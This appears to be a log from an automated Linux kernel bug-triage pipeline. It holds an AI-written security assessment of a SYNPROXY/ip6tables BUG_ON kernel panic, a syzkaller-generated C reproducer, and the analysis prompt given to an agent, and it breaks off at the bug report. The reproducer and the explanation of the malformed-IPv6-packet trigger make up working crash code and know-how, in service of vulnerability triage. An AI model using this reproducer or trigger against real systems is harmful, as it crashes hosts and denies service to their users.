| 0/0 |
2026/09/23 02:53 |
flow |
assessment-security |
37m
Results: map[DenialOfService:true Explanation:The bug is a Denial-of-Service (DoS) vulnerability caused by a `BUG_ON`
assertion failure in `skb_checksum()`.
### Root Cause Analysis
The issue occurs when the `SYNPROXY` target is used in `ip6tables`. When a
packet is evaluated against an `ip6tables` rule, `ip6_packet_match()` uses
`ipv6_find_hdr()` to parse IPv6 extension headers and find the transport header
offset, which is stored in `par->thoff`.
If an attacker sends a crafted IPv6 packet with a malformed extension header
(e.g., claiming a very large header length) such that the packet is truncated,
`ipv6_find_hdr()` can return a transport header offset (`start`) that is
strictly greater than the total packet length (`skb->len`).
Later, `synproxy_tg6()` is invoked and calls `nf_ip6_checksum(skb,
xt_hooknum(par), par->thoff, IPPROTO_TCP)` to verify the TCP checksum.
Crucially, `synproxy_tg6()` does this *before* verifying that `par->thoff` is
within the packet's bounds (which it later does via `skb_header_pointer()`).
`nf_ip6_checksum()` then calls `skb_checksum()` with `dataoff` set to
`par->thoff`. Because `dataoff > skb->len`, `skb_checksum()` processes all
available packet fragments but still has remaining bytes to checksum. This
triggers the `BUG_ON(len)` at the end of `skb_checksum()`, causing a kernel
panic.
### Security Impact
* **Exploitable:** No. The bug deterministically hits a `BUG_ON()` which halts
the kernel. It does not lead to memory corruption, use-after-free, or
information leaks.
* **Denial of Service:** Yes. Triggering the bug causes a kernel panic, crashing
the system.
* **Accessible From User Namespaces:** Yes. An unprivileged user can create a
new user and network namespace (`unshare -Urn`), configure an `ip6tables` rule
with the `SYNPROXY` target, and send a crafted packet over the loopback
interface to crash the host.
* **Accessible From Unprivileged Processes:** No. Without user namespaces, an
unprivileged user cannot configure `ip6tables` (requires `CAP_NET_ADMIN`).
Furthermore, they cannot easily send the required malformed IPv6 packet locally
without raw sockets (`CAP_NET_RAW`).
* **Remote / Network Trigger:** Yes. If a system administrator has configured
`ip6tables` with the `SYNPROXY` target for IPv6 traffic, a remote attacker can
trigger the kernel panic by sending a crafted IPv6 packet over the network. Exploitable:false FilesystemTrigger:false NetworkTrigger:true PeripheralTrigger:false RemoteTrigger:true Unprivileged:false UserNamespace:true VMGuestTrigger:false VMHostTrigger:false]
|
| 1/1 |
2026/09/23 02:53 |
action |
syz-repro-to-c-repro |
0m
Results: map[SimplifiedCRepro:// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <endian.h>
#include <errno.h>
#include <net/if.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/genetlink.h>
#include <linux/if_addr.h>
#include <linux/if_link.h>
#include <linux/in6.h>
#include <linux/neighbour.h>
#include <linux/net.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/veth.h>
struct nlmsg {
char* pos;
int nesting;
struct nlattr* nested[8];
char buf[4096];
};
static void netlink_init(struct nlmsg* nlmsg, int typ, int flags,
const void* data, int size)
{
memset(nlmsg, 0, sizeof(*nlmsg));
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_type = typ;
hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
memcpy(hdr + 1, data, size);
nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size);
}
static void netlink_attr(struct nlmsg* nlmsg, int typ,
const void* data, int size)
{
struct nlattr* attr = (struct nlattr*)nlmsg->pos;
attr->nla_len = sizeof(*attr) + size;
attr->nla_type = typ;
if (size > 0)
memcpy(attr + 1, data, size);
nlmsg->pos += NLMSG_ALIGN(attr->nla_len);
}
static int netlink_send_ext(struct nlmsg* nlmsg, int sock,
uint16_t reply_type, int* reply_len, bool dofail)
{
if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting)
exit(1);
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_len = nlmsg->pos - nlmsg->buf;
struct sockaddr_nl addr;
memset(&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, (struct sockaddr*)&addr, sizeof(addr));
if (n != (ssize_t)hdr->nlmsg_len) {
if (dofail)
exit(1);
return -1;
}
n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
if (reply_len)
*reply_len = 0;
if (n < 0) {
if (dofail)
exit(1);
return -1;
}
if (n < (ssize_t)sizeof(struct nlmsghdr)) {
errno = EINVAL;
if (dofail)
exit(1);
return -1;
}
if (hdr->nlmsg_type == NLMSG_DONE)
return 0;
if (reply_len && hdr->nlmsg_type == reply_type) {
*reply_len = n;
return 0;
}
if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) {
errno = EINVAL;
if (dofail)
exit(1);
return -1;
}
if (hdr->nlmsg_type != NLMSG_ERROR) {
errno = EINVAL;
if (dofail)
exit(1);
return -1;
}
errno = -((struct nlmsgerr*)(hdr + 1))->error;
return -errno;
}
static int netlink_query_family_id(struct nlmsg* nlmsg, int sock, const char* family_name, bool dofail)
{
struct genlmsghdr genlhdr;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = CTRL_CMD_GETFAMILY;
netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, family_name, strnlen(family_name, GENL_NAMSIZ - 1) + 1);
int n = 0;
int err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n, dofail);
if (err < 0) {
return -1;
}
uint16_t id = 0;
struct nlattr* attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN + NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg->buf + n; attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
id = *(uint16_t*)(attr + 1);
break;
}
}
if (!id) {
errno = EINVAL;
return -1;
}
recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
return id;
}
static long syz_genetlink_get_family_id(volatile long name, volatile long sock_arg)
{
int fd = sock_arg;
if (fd < 0) {
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (fd == -1) {
return -1;
}
}
struct nlmsg nlmsg_tmp;
int ret = netlink_query_family_id(&nlmsg_tmp, fd, (char*)name, false);
if ((int)sock_arg < 0)
close(fd);
if (ret < 0) {
return -1;
}
return ret;
}
uint64_t r[1] = {0xffffffffffffffff};
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
const char* reason;
(void)reason;
intptr_t res = 0;
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {}
// socket$inet6 arguments: [
// domain: const = 0xa (8 bytes)
// type: socket_type = 0x3 (8 bytes)
// proto: int32 = 0xff (4 bytes)
// ]
// returns sock_in6
res = syscall(__NR_socket, /*domain=*/0xaul, /*type=SOCK_RAW*/3ul, /*proto=*/0xff);
if (res != -1)
r[0] = res;
// sendmsg$sock arguments: [
// fd: sock (resource)
// msg: ptr[in, msghdr_sock] {
// msghdr_sock {
// msg_name: nil
// msg_namelen: len = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// msg_iov: ptr[in, array[iovec[in, array[int8]]]] {
// array[iovec[in, array[int8]]] {
// iovec[in, array[int8]] {
// addr: ptr[in, buffer] {
// buffer: {07 5c bd bb 13 ae 06 a7 87 a8 c6 2c 22 73 e1 1a 73 34 15 5d 52 84 1d 6d 00 7c 6b 3e 9b 85 68 2e 9d e6 96 c5 5a 9c ba 78 02 f3 33 dd 2f 69 85 21 03 b7 4f 85 02 1f 61 81 16 b3 97 10 ad e6 0d 85 92 8f 19 7f 2f 6e 8a 41 a1 3a c0 19 d4 e0 e0 66 b2 1a 05 11 bf f0 b3 67 a1 6e 0b a6 5d 09 3d ba 56 92 2f 5e b6 ef 6e 13 bb 4c 75 81 cd 86 d8 5a da f1 13 aa 7b c3 89 c1 2a f8 22 a6 17 64 4e d7 c1 db 21 22 85 40 76 58 2c c7 83 1c fe 1a ca 9a c7 63 4d 33 a5 5f d9 a2 d8 5b 4e 25 b9 cb 26 20 dc e9 ea 4c 25 d5 68 4e 27 08 54 d9 61 25 4e e9 6f 84 72 1b 23 d7 1a 25 44 92 1a 48 3c 9f 6a d9 63 50 54 00 45 fb c3 37 9f 14 15 38 94 ac 46 8f 68 b2 09 ee fb c2 10 28 16 48 db d7 70 17 63 db ec ed 43 b4 9d ad a4 1b b4 b1 df 13 86 f2 20 99 ee 15 52 34 ed cc 6c f8 2e 46} (length 0xfa)
// }
// len: len = 0xfa (8 bytes)
// }
// iovec[in, array[int8]] {
// addr: nil
// len: len = 0x0 (8 bytes)
// }
// iovec[in, array[int8]] {
// addr: nil
// len: len = 0x0 (8 bytes)
// }
// }
// }
// msg_iovlen: len = 0x3 (8 bytes)
// msg_control: nil
// msg_controllen: bytesize = 0x0 (8 bytes)
// msg_flags: const = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// }
// }
// f: send_flags = 0x0 (8 bytes)
// ]
*(uint64_t*)0x200000002d00 = 0;
*(uint32_t*)0x200000002d08 = 0;
*(uint64_t*)0x200000002d10 = 0x200000002cc0;
*(uint64_t*)0x200000002cc0 = 0x200000000540;
memcpy((void*)0x200000000540, "... [truncated large byte array] ...", 250);
*(uint64_t*)0x200000002cc8 = 0xfa;
*(uint64_t*)0x200000002cd0 = 0;
*(uint64_t*)0x200000002cd8 = 0;
*(uint64_t*)0x200000002ce0 = 0;
*(uint64_t*)0x200000002ce8 = 0;
*(uint64_t*)0x200000002d18 = 3;
*(uint64_t*)0x200000002d20 = 0;
*(uint64_t*)0x200000002d28 = 0;
*(uint32_t*)0x200000002d30 = 0;
syscall(__NR_sendmsg, /*fd=*/(intptr_t)-1, /*msg=*/0x200000002d00ul, /*f=*/0ul);
// syz_genetlink_get_family_id$ethtool arguments: [
// name: ptr[in, buffer] {
// buffer: {65 74 68 74 6f 6f 6c 00} (length 0x8)
// }
// fd: sock_nl_generic (resource)
// ]
// returns genl_ethtool_family_id
memcpy((void*)0x200000000040, "ethtool\000", 8);
syz_genetlink_get_family_id(/*name=*/0x200000000040, /*fd=*/-1);
// setsockopt$IP6T_SO_SET_REPLACE arguments: [
// fd: sock_in6 (resource)
// level: const = 0x29 (4 bytes)
// opt: const = 0x40 (4 bytes)
// val: ptr[in, ip6t_replace] {
// union ip6t_replace {
// filter: ip6t_replace_t["filter", 3, 4, IPT_FILTER_VALID_HOOKS, ip6t_filter_matches, ip6t_filter_targets, ipt_unused, ipt_hook, ipt_hook, ipt_hook, ipt_unused, ipt_unused, ipt_hook, ipt_hook, ipt_hook, ipt_unused] {
// name: buffer: {66 69 6c 74 65 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x20)
// valid_hooks: const = 0xe (4 bytes)
// num_entries: const = 0x4 (4 bytes)
// size: bytesize = 0x340 (4 bytes)
// hook_pre_routing: const = 0xffffffff (4 bytes)
// hook_local_in: const = 0x0 (4 bytes)
// hook_forward: const = 0x1a0 (4 bytes)
// hook_local_out: const = 0x270 (4 bytes)
// hook_post_routing: const = 0xffffffff (4 bytes)
// underflow_pre_routing: const = 0xffffffff (4 bytes)
// underflow_local_in: const = 0xd0 (4 bytes)
// underflow_forward: const = 0x1a0 (4 bytes)
// underflow_local_out: const = 0x270 (4 bytes)
// underflow_post_routing: const = 0xffffffff (4 bytes)
// num_counters: const = 0x4 (4 bytes)
// counters: nil
// entries: ip6t_replace_entries[3, ip6t_filter_matches, ip6t_filter_targets] {
// entries: array[ip6t_entry[ip6t_filter_matches, ip6t_filter_targets]] {
// ip6t_entry[ip6t_filter_matches, ip6t_filter_targets] {
// matches: ip6t_entry_matches[ip6t_filter_matches] {
// ipv6: union ip6t_ip6_or_uncond {
// ipv6: ip6t_ip6 {
// src: union ipv6_addr {
// empty: ipv6_addr_empty {
// a0: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x10)
// }
// }
// dst: union ipv6_addr {
// empty: ipv6_addr_empty {
// a0: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x10)
// }
// }
// smsk: array[ipv4_addr_mask_vals] {
// ipv4_addr_mask_vals = 0x0 (4 bytes)
// ipv4_addr_mask_vals = 0x0 (4 bytes)
// ipv4_addr_mask_vals = 0x0 (4 bytes)
// ipv4_addr_mask_vals = 0x0 (4 bytes)
// }
// dmsk: array[ipv4_addr_mask_vals] {
// ipv4_addr_mask_vals = 0x0 (4 bytes)
// ipv4_addr_mask_vals = 0x0 (4 bytes)
// ipv4_addr_mask_vals = 0x0 (4 bytes)
// ipv4_addr_mask_vals = 0x0 (4 bytes)
// }
// iniface: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x10)
// outiface: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x10)
// iniface_mask: devname_mask {
// lo: devname_mask_values = 0x0 (1 bytes)
// pad = 0x0 (15 bytes)
// }
// outiface_mask: devname_mask {
// lo: devname_mask_values = 0x0 (1 bytes)
// pad = 0x0 (15 bytes)
// }
// proto: ipv6_types = 0x6 (2 bytes)
// tos: int8 = 0x0 (1 bytes)
// flags: ip6t_ip6_flags = 0x1 (1 bytes)
// invflags: ip6t_ip6_invflags = 0x0 (1 bytes)
// pad = 0x0 (3 bytes)
// }
// }
// nfcache: const = 0x0 (4 bytes)
// target_offset: len = 0xa8 (2 bytes)
// next_offset: len = 0xd0 (2 bytes)
// comefrom: const = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// counters: xt_counters {
// pcnt: const = 0x0 (8 bytes)
// bcnt: const = 0x0 (8 bytes)
// }
// matches: array[ip6t_filter_matches] {
// }
// }
// target: union ip6t_filter_targets {
// common: union ip6t_targets {
// inet: union xt_inet_targets {
// SYNPROXY: xt_target_t["SYNPROXY", xt_synproxy_info, 0] {
// target_size: len = 0x28 (2 bytes)
// name: buffer: {53 59 4e 50 52 4f 58 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x1d)
// revision: const = 0x0 (1 bytes)
// data: xt_synproxy_info {
// options: xt_synproxy_options = 0x1 (1 bytes)
// wscale: int8 = 0x7 (1 bytes)
// mss: int16 = 0x5a0 (2 bytes)
// }
// pad = 0x0 (4 bytes)
// }
// }
// }
// }
// }
// ip6t_entry[ip6t_filter_matches, ip6t_filter_targets] {
// matches: ip6t_entry_matches[ip6t_filter_matches] {
// ipv6: union ip6t_ip6_or_uncond {
// uncond: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x88)
// }
// nfcache: const = 0x0 (4 bytes)
// target_offset: len = 0xa8 (2 bytes)
// next_offset: len = 0xd0 (2 bytes)
// comefrom: const = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// counters: xt_counters {
// pcnt: const = 0x0 (8 bytes)
// bcnt: const = 0x0 (8 bytes)
// }
// matches: array[ip6t_filter_matches] {
// }
// }
// target: union ip6t_filter_targets {
// common: union ip6t_targets {
// unspec: union xt_unspec_targets {
// STANDARD: xt_target_t["", flags[nf_verdicts, int32], 0] {
// target_size: len = 0x28 (2 bytes)
// name: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x1d)
// revision: const = 0x0 (1 bytes)
// data: nf_verdicts = 0xfffffffe (4 bytes)
// pad = 0x0 (4 bytes)
// }
// }
// }
// }
// }
// ip6t_entry[ip6t_filter_matches, ip6t_filter_targets] {
// matches: ip6t_entry_matches[ip6t_filter_matches] {
// ipv6: union ip6t_ip6_or_uncond {
// uncond: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x88)
// }
// nfcache: const = 0x0 (4 bytes)
// target_offset: len = 0xa8 (2 bytes)
// next_offset: len = 0xd0 (2 bytes)
// comefrom: const = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// counters: xt_counters {
// pcnt: const = 0x0 (8 bytes)
// bcnt: const = 0x0 (8 bytes)
// }
// matches: array[ip6t_filter_matches] {
// }
// }
// target: union ip6t_filter_targets {
// common: union ip6t_targets {
// unspec: union xt_unspec_targets {
// STANDARD: xt_target_t["", flags[nf_verdicts, int32], 0] {
// target_size: len = 0x28 (2 bytes)
// name: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x1d)
// revision: const = 0x0 (1 bytes)
// data: nf_verdicts = 0xfffffffe (4 bytes)
// pad = 0x0 (4 bytes)
// }
// }
// }
// }
// }
// }
// underflow: ip6t_entry_underflow {
// matches: ip6t_entry_underflow_matches {
// ipv6: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x88)
// nfcache: const = 0x0 (4 bytes)
// target_offset: len = 0xa8 (2 bytes)
// next_offset: len = 0xd0 (2 bytes)
// comefrom: const = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// counters: xt_counters {
// pcnt: const = 0x0 (8 bytes)
// bcnt: const = 0x0 (8 bytes)
// }
// }
// target: xt_target_t["", const[NF_ACCEPT_VERDICT, int32], 0] {
// target_size: len = 0x28 (2 bytes)
// name: buffer: {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00} (length 0x1d)
// revision: const = 0x0 (1 bytes)
// data: const = 0xfffffffe (4 bytes)
// pad = 0x0 (4 bytes)
// }
// }
// }
// }
// }
// }
// len: len = 0x3a0 (8 bytes)
// ]
memcpy((void*)0x200000000100, "filter\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000", 32);
*(uint32_t*)0x200000000120 = 0xe;
*(uint32_t*)0x200000000124 = 4;
*(uint32_t*)0x200000000128 = 0x340;
*(uint32_t*)0x20000000012c = -1;
*(uint32_t*)0x200000000130 = 0;
*(uint32_t*)0x200000000134 = 0x1a0;
*(uint32_t*)0x200000000138 = 0x270;
*(uint32_t*)0x20000000013c = -1;
*(uint32_t*)0x200000000140 = -1;
*(uint32_t*)0x200000000144 = 0xd0;
*(uint32_t*)0x200000000148 = 0x1a0;
*(uint32_t*)0x20000000014c = 0x270;
*(uint32_t*)0x200000000150 = -1;
*(uint32_t*)0x200000000154 = 4;
*(uint64_t*)0x200000000158 = 0;
memset((void*)0x200000000160, 0, 16);
memset((void*)0x200000000170, 0, 16);
*(uint32_t*)0x200000000180 = htobe32(0);
*(uint32_t*)0x200000000184 = htobe32(0);
*(uint32_t*)0x200000000188 = htobe32(0);
*(uint32_t*)0x20000000018c = htobe32(0);
*(uint32_t*)0x200000000190 = htobe32(0);
*(uint32_t*)0x200000000194 = htobe32(0);
*(uint32_t*)0x200000000198 = htobe32(0);
*(uint32_t*)0x20000000019c = htobe32(0);
memset((void*)0x2000000001a0, 0, 16);
memset((void*)0x2000000001b0, 0, 16);
*(uint8_t*)0x2000000001c0 = 0;
*(uint8_t*)0x2000000001d0 = 0;
*(uint16_t*)0x2000000001e0 = 6;
*(uint8_t*)0x2000000001e2 = 0;
*(uint8_t*)0x2000000001e3 = 1;
*(uint8_t*)0x2000000001e4 = 0;
*(uint32_t*)0x2000000001e8 = 0;
*(uint16_t*)0x2000000001ec = 0xa8;
*(uint16_t*)0x2000000001ee = 0xd0;
*(uint32_t*)0x2000000001f0 = 0;
*(uint64_t*)0x2000000001f8 = 0;
*(uint64_t*)0x200000000200 = 0;
*(uint16_t*)0x200000000208 = 0x28;
memcpy((void*)0x20000000020a, "SYNPROXY\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000", 29);
*(uint8_t*)0x200000000227 = 0;
*(uint8_t*)0x200000000228 = 1;
*(uint8_t*)0x200000000229 = 7;
*(uint16_t*)0x20000000022a = 0x5a0;
memset((void*)0x200000000230, 0, 136);
*(uint32_t*)0x2000000002b8 = 0;
*(uint16_t*)0x2000000002bc = 0xa8;
*(uint16_t*)0x2000000002be = 0xd0;
*(uint32_t*)0x2000000002c0 = 0;
*(uint64_t*)0x2000000002c8 = 0;
*(uint64_t*)0x2000000002d0 = 0;
*(uint16_t*)0x2000000002d8 = 0x28;
memset((void*)0x2000000002da, 0, 29);
*(uint8_t*)0x2000000002f7 = 0;
*(uint32_t*)0x2000000002f8 = 0xfffffffe;
memset((void*)0x200000000300, 0, 136);
*(uint32_t*)0x200000000388 = 0;
*(uint16_t*)0x20000000038c = 0xa8;
*(uint16_t*)0x20000000038e = 0xd0;
*(uint32_t*)0x200000000390 = 0;
*(uint64_t*)0x200000000398 = 0;
*(uint64_t*)0x2000000003a0 = 0;
*(uint16_t*)0x2000000003a8 = 0x28;
memset((void*)0x2000000003aa, 0, 29);
*(uint8_t*)0x2000000003c7 = 0;
*(uint32_t*)0x2000000003c8 = 0xfffffffe;
memset((void*)0x2000000003d0, 0, 136);
*(uint32_t*)0x200000000458 = 0;
*(uint16_t*)0x20000000045c = 0xa8;
*(uint16_t*)0x20000000045e = 0xd0;
*(uint32_t*)0x200000000460 = 0;
*(uint64_t*)0x200000000468 = 0;
*(uint64_t*)0x200000000470 = 0;
*(uint16_t*)0x200000000478 = 0x28;
memset((void*)0x20000000047a, 0, 29);
*(uint8_t*)0x200000000497 = 0;
*(uint32_t*)0x200000000498 = 0xfffffffe;
syscall(__NR_setsockopt, /*fd=*/r[0], /*level=*/0x29, /*opt=*/0x40, /*val=*/0x200000000100ul, /*len=*/0x3a0ul);
return 0;
}
]
|
| 2/1 |
2026/09/23 02:53 |
action |
kernel-checkouter |
0m
Results: map[KernelSrc:/app/workdir/cache/src/5a2c61bc6f8d27fcad43606305460b6df9035822]
|
| 3/1 |
2026/09/23 02:53 |
action |
kernel-builder |
17m
Results: map[KernelObj:/app/workdir/cache/build/8a78d7262e6fb1fd798178124e4220b411d7ed24]
|
| 4/1 |
2026/09/23 03:11 |
action |
codesearch-prepare |
11m
Results: map[Index:codesearch-index]
|
| 5/1 |
2026/09/23 03:23 |
agent |
expert |
6m
Model:
Results: map[DenialOfService:true Exploitable:false FilesystemTrigger:false NetworkTrigger:true PeripheralTrigger:false RemoteTrigger:true Unprivileged:false UserNamespace:true VMGuestTrigger:false VMHostTrigger:false]
Instruction: You are an experienced Linux kernel security engineer. Your task is to analyze given kernel bug report
and determine its security impact based on the following dimensions.
Use the provided tools to examine the source code, check for capability checks (e.g., capable(), ns_capable()),
and understand the nature of the bug. Analyze the given kernel build and configuration.
You can check the kernel config by grepping ".config" file; you can check kernel cmdline by grepping
".config" file for "CONFIG_CMDLINE=". Assume sysctl parameters have default values.
But analyze for the corresponding production build w/o debugging tools enabled (like KASAN, KMSAN, UBSAN).
Try different strategies when analyzing the bug:
- think of ways in which the vulnerable code is unreachable
- or the other way around: try to come up with different ideas of how an unprivileged user can reach the bug
If still unsure err on the side of the bug being non-exploitable/not-accessible.
In the final reply, provide a reasoning for your assessment.
Analysis dimensions:
* Exploitable:
Determine if the bug can result in memory corruption, elevated privileges, or an information leak.
Memory safety issues are almost always exploitable (KASAN or UBSAN reports for use-after-free, out-of-bounds;
refcounting issues, corrupted lists, etc). When kernel is crashing on a completely wild pointer access
(e.g. user-space address, or non-canonical address, but not on NULL or address corresponding to KASAN shadow
for NULL address), including both data accesses and control transfers, that also usually implies possibility
of exploitation. Such reports usually say "unable to handle kernel paging request".
Uses of uninitialized values detected by KMSAN may be exploitable b/c attacker frequently can affect uninit
values with spraying techniques. However, for these exploitability depends on how exactly the uninit value
is used in the code, and what it affects.
Information leaks are exploitable on their own and should be classified as such. A bug that copies kernel
memory contents to userspace (e.g. an out-of-bounds read whose result is returned to the caller, or
uninitialized stack/heap bytes written to a user buffer) is exploitable: it can reveal kernel pointer
values and defeat KASLR, expose sensitive data such as cryptographic keys or other processes' memory, and
serves as a necessary building block in most modern kernel privilege-escalation exploit chains. Do not classify
an information leak as non-exploitable solely because it does not directly cause a memory write or control-flow
hijack; the leak itself is the exploit primitive.
Think of what happens after the bug is triggered. Some bugs cause kernel panic and halt execution,
they are harder to exploit. For example, BUG reports halts the kernel. However, WARNING reports don't halt
execution in production builds. Debug bug detection tools (like KASAN, KMSAN, KCSAN, UBSAN) are also not enabled
in production builds, so attacker can freely exploit these bugs w/o being detected by these tools.
If you see an integer overflow, think how the overflowed value used later (if it's used as allocation size,
or an array index). If you see an out-of-bounds read, think if it's followed by an out-of-bounds write as well.
Some KCSAN data-races may be exploitable by skilled attackers as well. Think what data structures got corrupted
as the result of data races and how. However, note that kernel has lots of "benign" data races that don't lead
to any runtime misbehavior at all.
* Denial Of Service:
Determine if the bug can result in denial-of-service. Most bugs can, since they cause system crash,
hangs, deadlocks, or resource leaks. This is mostly applicable to WARNING bugs that won't cause system crash
in production. For these think what will be consequences of the violation of the kernel assumptions flagged
by the WARNING. In some cases the unexpected condition is also properly handled by the normal control flow
(e.g. with "if (WARN_ON(...))"), these won't cause denial-of-service. If the condition is not handled,
then it may or may not cause denial-of-service.
* Accessible From Unprivileged Processes:
Determine if the bug can be reached from a typical (non-root) user process that does NOT have any special capabilities
(like CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON) or access to device nodes restricted to root.
Assume that unprivileged_bpf_disabled=1, that is eBPF loading is not accessible. However, cBPF (classical BPF)
is still accessible to non-root processes.
Assume that user namespaces are not accessible, that is, the process cannot get the mentioned capabilities even
within a new user namespace (checked by ns_capable() function in the kernel sources).
* Accessible From User Namespaces:
Determine if the bug can be reached within a user-namespace where the process has all capabilities
(including CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON). Such capabilities are checked with ns_capable()
function in the kernel sources.
* VM Guest Trigger:
Determine if the bug can be triggered from the context of a typical KVM guest (e.g., set up by a QEMU VMM).
Consider accesses to standard Linux host paravirtualized features (virtio-blk, virtio-net, etc.),
and handling of VM exits in the KVM code.
* VM Host Trigger in The Confidential Computing Context:
Determine if the bug can be triggered in a confidential computing guest kernel from the context of a KVM host.
Consider access to standard Linux guest paravirtualized features (virtio-blk, virtio-net, etc.).
* Ethernet Network Trigger:
Determine if the bug can be triggered by processing ingress network Ethernet traffic, either directly (network stack)
or via drivers exposed to network data.
* Other Remote Trigger:
Determine if the bug can be triggered by processing remote traffic other than Ethernet (Wifi, Bluetooth, NFC, etc).
* Peripheral Trigger:
Determine if the bug can be triggered via an untrusted peripheral device that can be physically plugged
into a system, such as a USB device or a niche hardware driver handling external hardware inputs.
This is particularly important for mobile and desktop environments where users can plug in unknown devices.
* Malicious Filesystem Trigger:
Determine if the bug can be triggered by the kernel mounting and parsing a malicious filesystem image.
This is highly critical for Desktop and Mobile environments where external media or downloaded images
might be auto-mounted.
Don't make assumptions about the kernel source code (it may be different from what you assume it is).
Extensively use the provided code access tools (codesearch-*, git-*, grepper, etc)
to examine the actual source code, and confirm any assumptions.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt:
The kernel bug report is:
ip6_tables: ip6tables: counters copy to user failed while replacing table
------------[ cut here ]------------
